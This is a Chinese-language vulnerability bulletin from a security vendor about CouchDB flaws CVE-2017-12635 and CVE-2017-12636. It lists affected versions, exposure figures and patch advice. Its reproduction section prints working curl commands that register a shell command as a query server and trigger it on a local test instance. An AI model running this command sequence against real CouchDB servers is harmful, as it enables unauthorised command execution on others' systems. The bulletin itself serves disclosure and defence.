CouchDB远程代码执行漏洞简报
(CVE-2017-12635 、CVE-2017-12636)
一、漏洞概述
简介
Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱web 的数据库"。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。
近日,CouchDB 被曝存在两个高危漏洞,CVE 漏洞编号为 CVE-2017-12635 和 CVE-2017-12636,通过这两个漏洞的结合攻击者可在授权状态下实现远程命令执行,CouchDB 官方已经发布了针对本次漏洞的补丁,2017 年 11 月 16 日,Seebug 漏洞平台收录了该漏洞。
影响版本
CouchDB < 2.1.1
CouchDB < 1.7.0
二、漏洞复现
复现环境
CouchDB 1.6
复现过程及结果
CVE-2017-12635:该漏洞可实现普通用户到管理员的权限提升,具体请求如下:
在这里我们使用之前创建好的普通用户 guest/guest 创建了一个新的具有管理员权限的 test/test。
CVE-2017-12636:该漏洞通过更改 CouchDB 的配置来实现远程命令执行,前提是要拥有管理员权限。
我们可以通过如下请求让 CouchDB 服务器执行 ip 命令,注意这里使用的是
利用上个漏洞创建的 test/test:
curl -XPUT
http://test:test@127.0.0.1:5984/_config/query_servers/cmd -d'"/sbin/ip addr > /tmp/poctest"'
curl -XPUT
http://test:test@127.0.0.1:5984/poctest
curl -XPUT
http://test:test@127.0.0.1:5984/poctest/vuln-d'{"_id":"78d5a6a8e6ef17f57ffb9eb5b785b794"}'
curl -XPOST
'http://test:test@127.0.0.1:5984/poctest/_temp_view?limit=11' -d'{"language": "cmd", "map": ""}' -H 'Content-Type: application/json'
执行结果如下图:

可以看到 ip 命令已经被执行。
三、漏洞影响范围
通过 ZoomEye 网络空间探测引擎的探测结果[5]大约有 4160 台暴露在互联网上的 CouchDB 设备。
四、防护方案
漏洞修复方案
厂商已经发布该漏洞的升级补丁,升级最新版本即可不受该漏洞影响。
技术业务咨询
优炫安全研究院提醒广大用户,及时升级、修补漏洞,提前部署好信息安全防护工作,提高信息安全意识。如需更多技术支持,可拨打优炫软件服务热线:400-650-7837。
五、相关链接
[1] CouchDB 官网
http://couchdb.apache.org/
[2] CouchDB 更新说明
https://blog.couchdb.org/2017/11/07/2-1-1-1-7-0/
[3] 漏洞详情
https://blog.couchdb.org/2017/11/14/apache-couchdb-cve-2017-12635-and-cve-2017-12636/
[4] Seebug 漏洞社区
https://www.seebug.org/vuldb/ssvid-96869
[5] ZoomEye 网络空间探测引擎
https://www.zoomeye.org/searchResult?q=app%3Acouchdb